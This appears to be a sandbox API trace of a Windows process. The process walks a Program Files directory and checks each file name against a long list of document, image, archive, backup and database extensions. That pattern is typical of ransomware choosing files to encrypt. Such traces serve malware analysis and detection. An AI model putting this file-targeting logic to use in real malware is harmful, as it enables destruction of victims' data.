	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="split.avi", cAlternateFileName="")) returned 1
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1
	[0167.845] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1
	[0167.846] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.846] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1
	[0167.846] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0
	[0167.846] FindClose (in: hFindFile=0x6ac718 | out: hFindFile=0x6ac718) returned 1
	[0167.847] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4467000 | out: hHeap=0x610000) returned 1
	[0167.847] FindNextFileW (in: hFindFile=0x6ac2d8, lpFindFileData=0x3b4f308 | out: lpFindFileData=0x3b4f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67d, dwReserved1=0x87c, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0167.847] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4467000
	[0167.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES") returned 56
	[0167.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName=".", cAlternateFileName="")) returned 0x6ac718
	[0167.847] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="..", cAlternateFileName="")) returned 1
	[0167.848] FindNextFileW (in: hFindFile=0x6ac718, lpFindFileData=0x3b4f08c | out: lpFindFileData=0x3b4f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x1fb, dwReserved1=0xfffff981, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0167.848] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0167.848] lstrlenW (lpString=".1cd") returned 4
	[0167.848] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".3ds") returned 4
	[0167.848] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".3fr") returned 4
	[0167.848] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".3g2") returned 4
	[0167.848] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".3gp") returned 4
	[0167.848] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".7z") returned 3
	[0167.848] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.848] lstrlenW (lpString=".accda") returned 6
	[0167.848] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".accdb") returned 6
	[0167.848] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".accdc") returned 6
	[0167.848] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".accde") returned 6
	[0167.848] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".accdt") returned 6
	[0167.848] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".accdw") returned 6
	[0167.848] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0167.848] lstrlenW (lpString=".adb") returned 4
	[0167.848] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".adp") returned 4
	[0167.848] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.848] lstrlenW (lpString=".ai") returned 3
	[0167.849] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.849] lstrlenW (lpString=".ai3") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ai4") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ai5") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ai6") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ai7") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ai8") returned 4
	[0167.849] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".anim") returned 5
	[0167.849] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0167.849] lstrlenW (lpString=".arw") returned 4
	[0167.849] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".as") returned 3
	[0167.849] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.849] lstrlenW (lpString=".asa") returned 4
	[0167.849] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".asc") returned 4
	[0167.849] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".ascx") returned 5
	[0167.849] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0167.849] lstrlenW (lpString=".asm") returned 4
	[0167.849] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".asmx") returned 5
	[0167.849] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0167.849] lstrlenW (lpString=".asp") returned 4
	[0167.849] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.849] lstrlenW (lpString=".aspx") returned 5
	[0167.850] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0167.850] lstrlenW (lpString=".asr") returned 4
	[0167.850] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".asx") returned 4
	[0167.850] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".avi") returned 4
	[0167.850] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".avs") returned 4
	[0167.850] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".backup") returned 7
	[0167.850] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0167.850] lstrlenW (lpString=".bak") returned 4
	[0167.850] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".bay") returned 4
	[0167.850] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".bd") returned 3
	[0167.850] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.850] lstrlenW (lpString=".bin") returned 4
	[0167.850] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".bmp") returned 4
	[0167.850] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".bz2") returned 4
	[0167.850] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".c") returned 2
	[0167.850] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.850] lstrlenW (lpString=".cdr") returned 4
	[0167.850] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".cer") returned 4
	[0167.850] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".cf") returned 3
	[0167.850] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0167.850] lstrlenW (lpString=".cfc") returned 4
	[0167.850] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0167.850] lstrlenW (lpString=".cfm") returned 4
	[0167.851] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".cfml") returned 5
	[0167.851] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0167.851] lstrlenW (lpString=".cfu") returned 4
	[0167.851] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".chm") returned 4
	[0167.851] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".cin") returned 4
	[0167.851] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".class") returned 6
	[0167.851] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0167.851] lstrlenW (lpString=".clx") returned 4
	[0167.851] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".config") returned 7
	[0167.851] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0167.851] lstrlenW (lpString=".cpp") returned 4
	[0167.851] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".cr2") returned 4
	[0167.851] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".crt") returned 4
	[0167.851] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".crw") returned 4
	[0167.851] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".cs") returned 3
	[0167.851] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0167.851] lstrlenW (lpString=".css") returned 4
	[0167.851] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".csv") returned 4
	[0167.851] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".cub") returned 4
	[0167.851] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".dae") returned 4
	[0167.851] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0167.851] lstrlenW (lpString=".dat") returned 4
	[0167.852] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".db") returned 3
	[0167.852] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0167.852] lstrlenW (lpString=".dbf") returned 4
	[0167.852] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dbx") returned 4
	[0167.852] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dc3") returned 4
	[0167.852] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dcm") returned 4
	[0167.852] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dcr") returned 4
	[0167.852] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".der") returned 4
	[0167.852] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dib") returned 4
	[0167.852] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dic") returned 4
	[0167.852] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".dif") returned 4
	[0167.852] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".divx") returned 5
	[0167.852] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0167.852] lstrlenW (lpString=".djvu") returned 5
	[0167.852] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0167.852] lstrlenW (lpString=".dng") returned 4
	[0167.852] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".doc") returned 4
	[0167.852] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.852] lstrlenW (lpString=".docm") returned 5
	[0167.852] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0167.852] lstrlenW (lpString=".docx") returned 5
	[0167.852] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0167.853] lstrlenW (lpString=".dot") returned 4
	[0167.853] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dotm") returned 5
	[0167.853] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0167.853] lstrlenW (lpString=".dotx") returned 5
	[0167.853] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0167.853] lstrlenW (lpString=".dpx") returned 4
	[0167.853] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dqy") returned 4
	[0167.853] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dsn") returned 4
	[0167.853] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dt") returned 3
	[0167.853] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0167.853] lstrlenW (lpString=".dtd") returned 4
	[0167.853] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dwg") returned 4
	[0167.853] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dwt") returned 4
	[0167.853] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".dx") returned 3
	[0167.853] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0167.853] lstrlenW (lpString=".dxf") returned 4
	[0167.853] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".edml") returned 5
	[0167.853] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0167.853] lstrlenW (lpString=".efd") returned 4
	[0167.853] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".elf") returned 4
	[0167.853] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".emf") returned 4
	[0167.853] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0167.853] lstrlenW (lpString=".emz") returned 4
	[0167.854] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".epf") returned 4
	[0167.854] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".eps") returned 4
	[0167.854] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".epsf") returned 5
	[0167.854] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0167.854] lstrlenW (lpString=".epsp") returned 5
	[0167.854] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0167.854] lstrlenW (lpString=".erf") returned 4
	[0167.854] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".exr") returned 4
	[0167.854] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".f4v") returned 4
	[0167.854] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".fido") returned 5
	[0167.854] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0167.854] lstrlenW (lpString=".flm") returned 4
	[0167.854] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".flv") returned 4
	[0167.854] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".frm") returned 4
	[0167.854] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".fxg") returned 4
	[0167.854] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".geo") returned 4
	[0167.854] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".gif") returned 4
	[0167.854] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".grs") returned 4
	[0167.854] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.854] lstrlenW (lpString=".gz") returned 3
	[0167.854] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.854] lstrlenW (lpString=".h") returned 2
	[0167.855] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.855] lstrlenW (lpString=".hdr") returned 4
	[0167.855] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".hpp") returned 4
	[0167.855] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".hta") returned 4
	[0167.855] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".htc") returned 4
	[0167.855] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".htm") returned 4
	[0167.855] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".html") returned 5
	[0167.855] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0167.855] lstrlenW (lpString=".icb") returned 4
	[0167.855] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".ics") returned 4
	[0167.855] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".iff") returned 4
	[0167.855] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".inc") returned 4
	[0167.855] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".indd") returned 5
	[0167.855] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0167.855] lstrlenW (lpString=".ini") returned 4
	[0167.855] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".iqy") returned 4
	[0167.855] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".j2c") returned 4
	[0167.855] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".j2k") returned 4
	[0167.855] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.855] lstrlenW (lpString=".java") returned 5
	[0167.855] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0167.856] lstrlenW (lpString=".jp2") returned 4
	[0167.856] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".jpc") returned 4
	[0167.856] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".jpe") returned 4
	[0167.856] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".jpeg") returned 5
	[0167.856] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0167.856] lstrlenW (lpString=".jpf") returned 4
	[0167.856] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".jpg") returned 4
	[0167.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".jpx") returned 4
	[0167.856] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".js") returned 3
	[0167.856] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.856] lstrlenW (lpString=".jsf") returned 4
	[0167.856] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".json") returned 5
	[0167.856] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0167.856] lstrlenW (lpString=".jsp") returned 4
	[0167.856] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".kdc") returned 4
	[0167.856] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".kmz") returned 4
	[0167.856] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".kwm") returned 4
	[0167.856] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".lasso") returned 6
	[0167.856] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0167.856] lstrlenW (lpString=".lbi") returned 4
	[0167.856] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.856] lstrlenW (lpString=".lgf") returned 4
	[0167.857] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".lgp") returned 4
	[0167.857] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".log") returned 4
	[0167.857] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".m1v") returned 4
	[0167.857] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".m4a") returned 4
	[0167.857] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".m4v") returned 4
	[0167.857] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".max") returned 4
	[0167.857] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".md") returned 3
	[0167.857] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.857] lstrlenW (lpString=".mda") returned 4
	[0167.857] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mdb") returned 4
	[0167.857] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mde") returned 4
	[0167.857] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mdf") returned 4
	[0167.857] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mdw") returned 4
	[0167.857] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.857] lstrlenW (lpString=".mef") returned 4
	[0167.857] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
